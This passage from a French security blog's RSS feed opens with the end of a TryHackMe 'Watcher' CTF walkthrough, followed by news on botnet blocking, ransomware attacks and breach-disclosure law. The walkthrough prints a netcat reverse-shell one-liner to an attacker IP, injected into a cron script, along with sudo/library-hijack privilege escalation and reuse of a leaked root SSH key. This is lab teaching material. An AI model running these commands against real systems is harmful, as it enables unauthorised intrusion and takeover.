<p>J’ai démarré un listener Netcat dans ma VM Kali (<code class="language-plaintext highlighter-rouge">nc -lvnp 4444</code>). Puis j’ai chargé http://target/post.php?post=/home/ftpuser/ftp/files/php-reverse-shell.php dans un navigateur. J’ai obtenu une connexion sur mon listener.</p>

<p>J’ai stabilisé mon shell avec les commandes suivantes :</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s1">'import pty; pty.spawn("/bin/bash")'</span>
<span class="nb">export </span><span class="nv">TERM</span><span class="o">=</span>xterm

<span class="c"># Hit Ctrl-z to go background the shell</span>
<span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span><span class="nb">fg</span>
</code></pre></div></div>

<p>À partir de là, j’ai trouvé un troisième flag dans les fichiers du site web.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@watcher:/<span class="nv">$ </span><span class="nb">whoami
</span>www-data
www-data@watcher:/<span class="nv">$ </span><span class="nb">ls</span> /var/www/html/
bunch.php   images               post.php    secret_file_do_not_read.txt
css         index.php            robots.txt  striped.php
flag_1.txt  more_secrets_a9f10a  round.php
www-data@watcher:/<span class="nv">$ </span><span class="nb">ls</span> /var/www/html/more_secrets_a9f10a/           
flag_3.txt
www-data@watcher:/<span class="nv">$ </span><span class="nb">cat</span> /var/www/html/more_secrets_a9f10a/flag_3.txt 
FLAG<span class="o">{</span>SOME FLAG<span class="o">}</span>
</code></pre></div></div>

<h2 id="escalade-vers-toby">Escalade vers Toby</h2>
<p>Maintenant que nous avons un shell, nous devons tenter d’élever nos privilèges.</p>

<p>La première chose à faire est de vérifier si l’utilisateur courant peut exécuter sudo. www-data ne devrait pas pouvoir, mais c’est une bonne idée de vérifier quand même.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
Matching Defaults entries <span class="k">for </span>www-data on watcher:
    env_reset, mail_badpass,
    <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin<span class="se">\:</span>/snap/bin

User www-data may run the following commands on watcher:
    <span class="o">(</span>toby<span class="o">)</span> NOPASSWD: ALL
</code></pre></div></div>

<p>www-data est autorisé à exécuter n’importe quelle commande en tant que toby.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-utoby</span> bash <span class="nt">-p</span>
toby@watcher:/<span class="nv">$ </span><span class="nb">whoami
</span>toby
toby@watcher:/<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /home/toby/
total 12
<span class="nt">-rw-------</span> 1 toby toby   21 Dec  3 01:58 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec  3 03:31 <span class="nb">jobs</span>
<span class="nt">-rw-r--r--</span> 1 mat  mat    89 Dec 12 15:25 note.txt
</code></pre></div></div>

<p>Nous avons notre 4e flag.</p>

<h2 id="escalade-vers-mat">Escalade vers Mat</h2>

<p>Nous devons trouver un moyen d’élever à nouveau nos privilèges. <code class="language-plaintext highlighter-rouge">sudo -l</code> requiert un mot de passe, nous devons donc trouver autre chose.</p>

<p>Il y a un fichier note.txt dans le dossier home, regardons-le.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat note.txt 
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

Mat
</code></pre></div></div>

<p>On dirait qu’il y a un cron job qui s’exécute, probablement en tant que Mat, que nous pourrions être en mesure d’utiliser. Il y a un dossier jobs, et il contient un fichier sh.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-l</span> <span class="nb">jobs</span>/
total 4
<span class="nt">-rwxr-xr-x</span> 1 toby toby 46 Dec  3 03:31 cow.sh
toby@watcher:~<span class="nv">$ </span><span class="nb">cat jobs</span>/cow.sh 
<span class="c">#!/bin/bash</span>
<span class="nb">cp</span> /home/mat/cow.jpg /tmp/cow.jpg
</code></pre></div></div>
<p>Il s’agit peut-être du cron du message. Et nous pouvons y écrire. J’ai donc modifié le fichier pour y ajouter une connexion reverse shell, démarré un autre listener Netcat et attendu une connexion.</p>

<p>Ajoutez ceci à jobs/cow.sh</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkfifo</span> /tmp/kirxhbg<span class="p">;</span> nc 10.13.3.36 4445 0&lt;/tmp/kirxhbg | /bin/sh <span class="o">&gt;</span>/tmp/kirxhbg 2&gt;&amp;1<span class="p">;</span> <span class="nb">rm</span> /tmp/kirxhbg
</code></pre></div></div>

<p>La prochaine fois que le cron s’exécutera, vous obtiendrez une nouvelle connexion.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.157.89 55670
<span class="nb">whoami
</span>mat
<span class="nb">ls</span> /home/mat
cow.jpg
flag_5.txt
note.txt
scripts
</code></pre></div></div>

<p>Voilà le flag #5.</p>

<h2 id="escalade-vers-will">Escalade vers Will</h2>

<p>Ce shell était plutôt instable, j’ai donc copié ma clé publique ssh sur le serveur et je me suis reconnecté par ssh.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> .ssh
<span class="nb">echo</span> <span class="s2">"My Public Key"</span> <span class="o">&gt;</span> .ssh/authorized_keys
<span class="nb">chmod </span>700 .ssh
<span class="nb">chmod </span>600 .ssh/authorized_keys
</code></pre></div></div>

<p>Une fois connecté, il y a un autre fichier note.txt dans le dossier home.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat note.txt 
Hi Mat,

I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.

Will
</code></pre></div></div>

<p>Effectivement, nous pouvons exécuter un script python en tant que will sans mot de passe.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
Matching Defaults entries <span class="k">for </span>mat on watcher:
    env_reset, mail_badpass, <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin<span class="se">\:</span>/snap/bin

User mat may run the following commands on watcher:
    <span class="o">(</span>will<span class="o">)</span> NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py <span class="k">*</span>
</code></pre></div></div>

<p>Nous ne sommes pas autorisés à modifier le script, mais voyons ce qu’il fait.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mat@watcher:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> scripts/will_script.py
<span class="nt">-rw-r--r--</span> 1 will will 208 Dec  3 01:58 scripts/will_script.py

mat@watcher:~<span class="nv">$ </span><span class="nb">cat </span>scripts/will_script.py 
import os
import sys
from cmd import get_command

cmd <span class="o">=</span> get_command<span class="o">(</span>sys.argv[1]<span class="o">)</span>

whitelist <span class="o">=</span> <span class="o">[</span><span class="s2">"ls -lah"</span>, <span class="s2">"id"</span>, <span class="s2">"cat /etc/passwd"</span><span class="o">]</span>

<span class="k">if </span>cmd not <span class="k">in </span>whitelist:
        print<span class="o">(</span><span class="s2">"Invalid command!"</span><span class="o">)</span>
        <span class="nb">exit</span><span class="o">()</span>

os.system<span class="o">(</span>cmd<span class="o">)</span>

</code></pre></div></div>

<p>Le script lit une commande depuis la ligne de commande, puis l’envoie à <code class="language-plaintext highlighter-rouge">get_command</code> et l’exécute si elle fait partie des trois commandes autorisées.</p>

<p>La partie intéressante est <code class="language-plaintext highlighter-rouge">get_command</code>, qui est importée de cmd.py, lequel se trouve dans le même dossier que le script.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mat@watcher:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span> scripts/cmd.py 
<span class="nt">-rw-r--r--</span> 1 mat mat 133 Dec  3 03:31 scripts/cmd.py
mat@watcher:~<span class="nv">$ </span><span class="nb">cat </span>scripts/cmd.py
def get_command<span class="o">(</span>num<span class="o">)</span>:
        <span class="k">if</span><span class="o">(</span>num <span class="o">==</span> <span class="s2">"1"</span><span class="o">)</span>:
                <span class="k">return</span> <span class="s2">"ls -lah"</span>
        <span class="k">if</span><span class="o">(</span>num <span class="o">==</span> <span class="s2">"2"</span><span class="o">)</span>:
                <span class="k">return</span> <span class="s2">"id"</span>
        <span class="k">if</span><span class="o">(</span>num <span class="o">==</span> <span class="s2">"3"</span><span class="o">)</span>:
                <span class="k">return</span> <span class="s2">"cat /etc/passwd"</span>
</code></pre></div></div>

<p>Nous pouvons écrire dans ce fichier. Nous pouvons donc le modifier pour démarrer un nouveau shell bash en tant que Will. Nous devons ajouter un import de os. Puis ajouter ce qui suit au début de la fonction <code class="language-plaintext highlighter-rouge">get_command</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'/bin/bash -p'</span><span class="p">)</span>
</code></pre></div></div>

<p>Après cela, nous pouvons exécuter le script python en tant que will et obtenir un shell.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mat@watcher:~<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-u</span> will /usr/bin/python3 /home/mat/scripts/will_script.py 1
will@watcher:~<span class="nv">$ </span><span class="nb">whoami
</span>will
will@watcher:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /home/will/
total 4
<span class="nt">-rw-------</span> 1 will will 41 Dec  3 01:58 flag_6.txt
</code></pre></div></div>

<p>Nous avons le flag 6.</p>

<h2 id="escalade-vers-root">Escalade vers root</h2>
<p>Pour cette étape, il n’y a pas de fichier note.txt pour nous donner un indice. Exécuter <code class="language-plaintext highlighter-rouge">sudo -l</code> requiert un mot de passe, donc pas de chance de ce côté non plus.</p>

<p>J’ai vérifié les groupes de l’utilisateur, et il fait partie du groupe adm. Cela semblait intéressant.</p>

<p>J’ai cherché des fichiers appartenant à ce groupe. Et j’ai trouvé un dossier backups contenant un fichier : key.b64.</p>

<p>J’ai décodé le fichier, et il contenait une clé privée ssh.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /opt/backups/key.b64 | <span class="nb">base64</span> <span class="nt">-d</span>
<span class="nt">-----BEGIN</span> RSA PRIVATE KEY-----
...
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRsM1bOEqjFdZgv6SA<span class="o">==</span>
<span class="nt">-----END</span> RSA PRIVATE KEY-----

</code></pre></div></div>

<p>J’ai pris cette clé, l’ai copiée dans un fichier sur ma machine et modifié ses permissions à 600. Puis je l’ai utilisée pour me reconnecter au serveur en tant que root.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh root@target <span class="nt">-i</span> root_id_rsa 
Welcome to Ubuntu 18.04.5 LTS <span class="o">(</span>GNU/Linux 4.15.0-128-generic x86_64<span class="o">)</span>

root@watcher:~# <span class="nb">ls</span> <span class="nt">-l</span> 
total 4
<span class="nt">-rw-r--r--</span> 1 root root 31 Dec  3 02:26 flag_7.txt

</code></pre></div></div>

<p>C’était notre dernier flag.</p>

<p>C’est une box amusante à rooter. Avec beaucoup d’étapes. Je ne suis pas sûr qu’elle devrait être classée comme difficulté moyenne. Toutes les étapes étaient plutôt faciles à réaliser. Surtout avec les fichiers note.txt qui donnent d’énormes indices.</p>

<p>Texte aussi publié sur : <a href="https://erichogue.ca/2021/03/TryHackMe-Walkthrough-Watcher/">https://erichogue.ca/2021/03/TryHackMe-Walkthrough-Watcher/</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Pas facile de bloquer les zombies</title>
      <link>https://media.hackfest.ca/blog/crtc-blocage-botnet</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/crtc-blocage-botnet</guid>
      <pubDate>Thu, 11 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Politique &amp; réglementation</category>
      <category>CRTC</category>
      <category>botnets</category>
      <description>Le CRTC tient jusqu’au 15 mars un appel aux observations sur le projet de bloquer le trafic des réseaux de zombies. Il recommande d’utiliser les mesures qui « concilient efficacité et facilité de mise en œuvre » sans entraîner de coûts supplémentaires pour les abonnés. Un survol des méthodes utilisées par les opérateurs de botnets fait croire que cela sera tout sauf facile.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/crtc-botnet.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/crtc-botnet.webp" alt="" /></p>

<p>Votre réfrigérateur intelligent est-il un traître? Est-il possible qu’il ne se contente plus de vous envoyer un texto lorsque vous n’avez plus de lait, mais se soit fait recruter dans un réseau de zombies (botnet)? Le CRTC (Conseil de la radiodiffusion et des télécommunications canadiennes) a le projet de bloquer le trafic des botnets en appliquant les mesures qui « concilient efficacité et facilité de mise en œuvre » sans entraîner de coûts supplémentaires pour les abonnés. Un survol des méthodes utilisées par les opérateurs montre que cela sera tout sauf facile.</p>

<p>L’organisme fédéral responsable de la régulation des télécommunications propose de donner le mandat de filtrer le trafic des botnets aux fournisseurs d’accès à Internet (FAI). C’est dans ce contexte qu’il tient jusqu’au 15 mars <a href="https://crtc.gc.ca/fra/archive/2021/2021-9.htm">un appel aux observations</a>. Ce blocage doit permettre d’empêcher la communication entre les appareils infectés qui constituent le réseau de zombies et leur serveur de contrôle et de commande (serveur C2). Ce filtrage pourrait prendre plusieurs formes. L’appel du CRTC mentionne « le blocage basé sur le domaine, le blocage basé sur le protocole Internet (IP) et le blocage basé sur le protocole ».</p>

<p>Le nom de domaine est le nom du site web que nous écrivons dans la barre d’adresse d’un fureteur, comme « hackfest.ca », par exemple. Ce nom de domaine est ensuite traduit en adresse IP par des résolveurs de domaine (DNS).</p>

<p>Le « blocage basé sur le domaine » implique l’instauration et la mise à jour en continu d’une liste de noms de domaines à bloquer. Le « blocage basé sur le protocole Internet (IP) » équivaut à créer une liste semblable, mais pour des adresses IP. Pour éviter les abus, le CRTC suggère qu’« une partie indépendante spécialisée en cybersécurité » soit responsable du cadre. Celle-ci pourra approuver les ajouts à ces listes.</p>

<h3 id="changer-dadresse-pour-ne-pas-être-découvert">Changer d’adresse pour ne pas être découvert</h3>

<p>Les techniques d’obfuscation utilisées par les opérateurs de botnets rendent l’application de ces techniques extrêmement difficile. En effet, comme décrit dans une revue de la littérature scientifique publiée en 2017 <a href="https://www.mdpi.com/1999-5903/9/4/55">(Botnet detection technology based on DNS, Xingguo Li et al., 2017)</a>, les botnets utilisent une méthode appelée « domain flux » pour déjouer les tentatives de détection. Cette méthode permet aux botnets de modifier constamment le nom de leurs serveurs C2. Des algorithmes sont utilisés pour générer de multiples noms de domaines de façon pseudo-aléatoire. Selon les auteurs de cet article, garder à jour la liste de ces domaines nécessiterait une énorme quantité de ressources.</p>

<p>On se retrouve devant le même problème en tentant de bloquer les adresses IP. La technique du « fast flux » est utilisée pour assigner de multiples adresses IP au même nom de domaine. Dans une variante appelée « double flux », les zombies ne communiquent pas directement avec le serveur C2, mais avec une couche intermédiaire d’appareils qui servent de relais. Cette configuration assure plus de résilience en isolant le cœur du botnet.</p>

<h3 id="le-risque-de-faux-positifs">Le risque de faux positifs</h3>

<p>Il y a d’autres facteurs qui augmentent ce que l’on appelle les « faux positifs » (le risque de bloquer un nom de domaine ou une adresse IP qui n’est pas malicieuse).</p>

<p>Il existe des raisons légitimes d’utiliser des réseaux de botnets. Ceux-ci ne sont pas composés d’appareils infectés à leur insu, mais utilisent une architecture similaire. Ils servent à parcourir le web (“web scraping”), aux équipes de tests de pénétration (“red team”) et autres processus d’automatisation.</p>

<p><a href="https://www.fireeye.com/blog/threat-research/2010/09/chasing-cnc-servers-part-2.html">Un article de la firme Fireeye</a> résume bien ces difficultés.</p>

<ul>
  <li>Les développeurs de botnets utilisent des sites web légitimes pour héberger leur code. Il se peut qu’un seul document sur ce site soit utilisé par le botnet à des fins criminelles. Bloquer le domaine ne bloquera pas seulement les zombies, mais l’accès légitime au site web infecté.</li>
  <li>Les opérateurs se servent de plateformes telles que Twitter, Amazon Cloud Services et d’autres services d’hébergement publics. Il est inconcevable de bloquer entièrement ces services.</li>
  <li>Les adresses IP une fois abandonnées par les opérateurs de botnets sont utilisées par des sources légitimes qui se retrouvent sur les listes de blocage.</li>
  <li>L’article de Fireeye mentionne également l’utilisation de protocole P2P (peer-to-peer). Ces botnets n’utilisent pas de serveurs C2, rendant caducs les mécanismes de blocage de ceux-ci.</li>
</ul>

<p>Face à la menace des botnets, le CRTC exprime son désir de trouver une solution facile, efficace et qui n’entraîne pas de coûts supplémentaires pour les abonnés aux services Internet. Le survol des technologies utilisées par les opérateurs de botnet semble indiquer qu’une solution à ce problème sera tout sauf facile.</p>

<p>crédit photo: <a href="https://www.flickr.com/photos/melissawarhol/">Melissa Mathies</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Une compagnie spécialisée en géomatique devient la cible d’un rançongiciel</title>
      <link>https://media.hackfest.ca/blog/compagnie-geomatique-devient-cible-rancongiciel</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/compagnie-geomatique-devient-cible-rancongiciel</guid>
      <pubDate>Tue, 09 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>Avaddon</category>
      <description>La compagnie Consortech, basée à Brossard, a été la cible d’une cyber attaque au début du mois de mars. Ils ont rapidement récupéré leurs données. Ils ont toutefois dû faire face à la menace de les retrouver diffusées sur la place publique. La disparition des informations relatives à Consortech du site des pirates laisse croire que ces derniers ont obtenu ce qu’ils désiraient.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/consortech-avaddon.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/consortech-avaddon.webp" alt="" /></p>

<p>La compagnie Consortech, basée à Brossard, a été la cible d’une cyber attaque au début du mois de mars. Malgré le déploiement d’un rançongiciel, ils ont rapidement récupéré leurs données. Ils ont toutefois dû faire face à la menace de retrouver celles-ci diffusées sur la place publique. La disparition subséquente des informations relatives à Consortech du site des pirates laisse croire que ceux-ci ont obtenu ce qu’ils désiraient.</p>

<p>Consortech, fondée en 1989, se spécialise dans la valorisation des données géospatiales. L’entreprise met en œuvre des solutions de traitement des données géographique et l’automatisation des processus reliés à celles-ci. Elle compte plusieurs municipalités parmi sa clientèle.</p>

<p>Avaddon, le groupe de rançonneurs responsable de cette attaque, utilise la méthode de la « double extorsion » afin d’augmenter la pression sur ses victimes. En plus de chiffrer les données pour les rendre inaccessibles, les pirates menacent de publier celles-ci si une rançon n’est pas payée. Un échantillon était diffusé sur le site du groupe Avaddon. Il comprenait des noms, adresses courriels et numéros de téléphone de contacts.</p>

<p>Contacté le 8 mars, M. Guillaume Genest, associé et directeur général chez Consortech, confirme qu’un rançongiciel a paralysé leurs systèmes. L’arrêt a été de courte durée, car l’entreprise possédait « des backups en bonne santé ». Ils ont pu reprendre leur travail rapidement. M. Genest confirme que les malfaiteurs ont exigé une rançon, sans en préciser le montant, et qu’il ne l’a pas payée. Selon lui, il n’est pas exclu que l’assureur décide de payer après avoir complété une analyse du risque.</p>

<p>M. Genest ne peut dire à quel moment l’intrusion a eu lieu. Le procédé utilisé par les criminels pour accéder à leurs systèmes n’est pas encore connu. « Nous avons envoyé un avis à l’ensemble de notre clientèle pour les aviser de la situation et de la fuite de données ». La situation repose entre les mains d’une firme de cybersécurité et l’on ne peut se prononcer sur l’étendue de la fuite avant les résultats de l’enquête en cours.</p>

<p>Le lendemain de notre conversation, le nom de la compagnie et la page qui hébergeait les échantillons de données ne se trouvent plus sur le site « Avaddon info ». Cette disparition laisse croire que l’entreprise, ou son assureur, a décidé de payer la rançon. Nous avons tenté de contacter M. Genest par courriel pour confirmer le paiement, mais n’avons pas encore reçu de réponse au moment de la publication de cet article.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Montmagny se relève d&apos;une attaque du groupe NetWalker</title>
      <link>https://media.hackfest.ca/blog/montmagny-se-releve-attaque-netwalker</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/montmagny-se-releve-attaque-netwalker</guid>
      <pubDate>Sun, 21 Feb 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>NetWalker</category>
      <category>municipalités</category>
      <description>La plateforme de rançongiciel NetWalker, récemment démantelée, était responsable de l’attaque informatique qui a paralysé les serveurs de la ville de Montmagny au mois de janvier dernier.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/netwalker.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/netwalker.webp" alt="" /></p>

<p>La plateforme de rançongiciel NetWalker, récemment démantelée, était responsable de l’attaque informatique qui a paralysé les serveurs de la ville de Montmagny au mois de janvier dernier.</p>

<p>C’est tôt le matin du 17 janvier, en tentant de s’occuper des opérations de déneigement, que des employés ont noté que les ordinateurs de la ville ne répondaient plus. Des malfaiteurs associés au groupe NetWalker avaient chiffré leurs données et réclamaient une rançon afin de les récupérer.</p>

<p>La panne a affecté les systèmes téléphoniques et informatiques de la ville, de la bibliothèque, ainsi que de la Société de développement économique de Montmagny. L’utilisation de services hébergés à l’externe et des redondances ont permis aux automates du système de gestion du traitement des eaux et au système téléphonique d’urgence de demeurer fonctionnels.</p>

<h3 id="des-données-récupérées-sans-rançon">Des données récupérées sans rançon</h3>

<p>Joint au téléphone, M. Félix Michaud, directeur général de la Ville de Montmagny, affirme que la ville a récupéré les données subtilisées. « Une nouvelle architecture sécurisée » sera en fonction dans quelques jours. « Nous avons été chanceux dans notre malchance », car les autorités ont démantelé NetWalker dix jours après cette attaque.</p>

<p>Les systèmes de données seront rétablis, sans perte et sans qu’une rançon soit payée. M. Michaud ne peut dire comment les données ont été récupérées, car les experts « ne dévoilent pas les ingrédients secrets de leurs recettes », mais il ne semble pas que les pirates ont effectué des copies. Les experts poursuivent une veille afin de surveiller si ces données refont surface.</p>

<h3 id="netwalker-un-service-clé-en-main">NetWalker, un service clé en main</h3>

<p>Netwalker était une plateforme qui permettait à des « affiliés » de louer ses services pour effectuer des attaques de type rançongiciel. L’affilié trouve des systèmes informatiques vulnérables et déploie le logiciel maintenu par les « développeurs » de la plateforme. Ce groupe avait adopté la stratégie de la « double extorsion ». En plus de chiffrer les données, le groupe en publiait un échantillon et menaçait de rendre le tout public afin de forcer leurs victimes à payer la rançon. Les profits sont ensuite partagés entre l’affilié et les développeurs.</p>

<p>Le 27 janvier, le département de la justice des États-Unis <a href="https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware" target="_blank">a annoncé l’arrestation</a> d’un homme de 33 ans vivant à Gatineau, Sébastien Vachon-Desjardins, en lien avec le démantèlement du réseau NetWalker. Selon un article <a href="https://blog.chainalysis.com/reports/netwalker-ransomware-disruption-arrest" target="_blank">publié par la firme chainalysis</a>, celui-ci serait responsable de 91 attaques depuis le mois d’avril 2020. La même semaine, les autorités bulgares saisissaient un serveur hébergeant un site sur le « dark web » utilisé pour communiquer avec les victimes et leur indiquer les procédures de paiement.</p>

<p>Les services informatiques magnymontois seront rétablis d’ici quelques jours. M. Michaud espère que le fait de parler de leur expérience servira à sensibiliser les autres organisations et entreprises aux risques que pose ce genre d’attaque. Il souligne que la ville a réussi à continuer à offrir les services nécessaires grâce à la créativité du personnel et que « dans l’adversité, cela permet de tisser des liens plus serrés entre les membres de l’équipe ».</p>
]]></content:encoded>
    </item>
    <item>
      <title>Obligation lors de brèche de sécurité</title>
      <link>https://media.hackfest.ca/blog/obligation-lors-breche-securite</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/obligation-lors-breche-securite</guid>
      <pubDate>Sat, 20 Feb 2021 10:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Politique &amp; réglementation</category>
      <category>lettre ouverte</category>
      <category>brèches</category>
      <category>CAI</category>
      <description>Le Québec est en voie de devenir un champion des brèches de sécurité. De multiples entreprises et organismes, comme Promutuel, la STM, l’Ordre des Ingénieurs du Québec, HelpOX et bien d’autres</description>
      <enclosure url="https://media.hackfest.ca/images/posts/breche.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/breche.webp" alt="" /></p>

<ul>
  <li><strong>Adressé à</strong>: Commission d’accès à l’information du Québec et du Canada</li>
  <li><strong>Par</strong>: Hackfest Communication et ses participants:
    <ul>
      <li>Sam Harper</li>
      <li>Coralie Grozner</li>
      <li>Eric Hogue</li>
    </ul>
  </li>
</ul>

<p>Le Québec est en voie de devenir un champion des brèches de sécurité. De multiples entreprises et organismes, comme Promutuel, la STM, l’Ordre des Ingénieurs du Québec, HelpOX et bien d’autres, sont victimes de groupes criminels utilisant des rançongiciels et autres outils informatiques leur permettant le vol de données et l’extorsion. La plupart de ces brèches ne sont pas dévoilées au public et un grand nombre de ces victimes paient les rançons. C’est un marché lucratif et sans une réponse concertée, il ne fera que prendre de l’ampleur.</p>

<p>La communauté du Hackfest est composée de personnes intéressées par la cybersécurité. Il s’agit d’individus qui désirent partager leurs connaissances dans les domaines des technologies de l’information et de la cybersécurité. Nous avons en commun une sensibilisation face aux risques auxquels nous sommes toutes et tous exposés lorsque surviennent des fuites de renseignements personnels. Nous avons à cœur le respect de la confidentialité et de la sécurité et la mise en place de mesures appropriées pour la préserver. Nous prenons la parole car nous croyons que cet objectif est atteignable par la collaboration et une plus grande transparence.</p>

<h2 id="obligation-de-divulgation">Obligation de divulgation</h2>

<p>Le projet de Loi 64 est un pas dans la bonne direction. Il va baliser l’obligation de divulgation lorsqu’une entreprise est victime d’une brèche de sécurité. Nous saluons l’obligation de mise en place de politique claire sur la confidentialité et le fait de rendre l’exploitant d’une entreprise responsable de la protection des renseignements personnels qu’il détient.</p>

<p>Malheureusement, il nous semble qu’il laisse beaucoup de marge de manœuvre aux entreprises qui désirent se soustraire à l’obligation de dévoiler un « incident de confidentialité ». Le projet de Loi stipule qu’une entreprise est dans l’obligation d’aviser la Commission et la personne impactée seulement si elle cause un « préjudice sérieux ». Nous constatons actuellement une banalisation des brèches et de la gravité de celles-ci. Nous croyons que la balance devrait pencher dans l’autre sens et que tout « incident de confidentialité » devrait être rapporté à moins qu’il y ait un « préjudice sérieux » de le faire.</p>

<h2 id="le-partage-des-connaissances-comme-moyen-de-défense">Le partage des connaissances comme moyen de défense</h2>

<p>Il est rare qu’une entreprise divulgue les informations techniques entourant les brèches de sécurité. Pourtant, la communauté sortirait gagnante d’un partage plus ouvert de ces informations. En tenant compte de la nécessité de ne pas dévoiler d’informations sensibles ou préjudiciables, un bilan technique devrait être exigé. Quels moyens les criminels ont-ils utilisés? Quelles sont les vulnérabilités logicielles ou organisationnelles qui ont été exploitées? Quels types de données ont été volées? Comment la brèche a-t-elle été découverte?</p>

<p>Le projet de Loi 64 prévoit une obligation de prendre les moyens « raisonnables » pour assurer la sécurité des renseignements personnels. Ces moyens ont un coût. Il serait intéressant de connaître le pourcentage du budget consacré à la cybersécurité par les organismes et entreprises. Cette information permettrait aux client-es de faire un choix éclairé en choisissant les entreprises qui ont réellement à cœur la sécurité de leurs données.</p>

<h1 id="décourager-le-paiement-des-rançons">Décourager le paiement des rançons</h1>

<p>Le rançongiciel est une entreprise lucrative. Tant que nous payons, nous continuerons à être les victimes de ces attaques. De plus, il est fallacieux de se fier aux promesses de destruction de données volées de la part de groupes criminels. Une victime qui paie une fois est une cible de choix pour une deuxième attaque.</p>

<h1 id="des-sanctions-administratives-et-pécuniaires-dissuasives">Des sanctions administratives et pécuniaires dissuasives</h1>

<p>Nous sommes contents de voir l’introduction de sanctions pécuniaires dans le projet de Loi 64. Malheureusement, tant que le coût de l’inaction demeure inférieur au coût d’un programme de cybersécurité efficace, c’est l’inaction qui sera priorisée par certains. Les sanctions doivent être dissuasives et assez importantes afin d’encourager les entreprises qui ne prennent pas la menace au sérieux à investir en cybersécurité de façon adéquate.</p>

<p>Nous sommes conscients que toutes les entreprises n’ont pas les mêmes moyens. Par contre, la conservation de données personnelles est un choix qui implique une responsabilité. Ces sanctions devraient donc être associées à la possibilité pour les PMEs de bénéficier des services de consultant-es à la hauteur de leurs moyens.</p>

<p>Les brèches de sécurité et les fuites de données font partie de la nouvelle réalité. Les conséquences pour les entreprises impactées et leurs client-es sont graves. Il est donc primordial de prendre cette menace aux sérieux et mettre en place les mesures nécessaires pour endiguer ce fléau.</p>
]]></content:encoded>
    </item>
  </channel>
</rss>

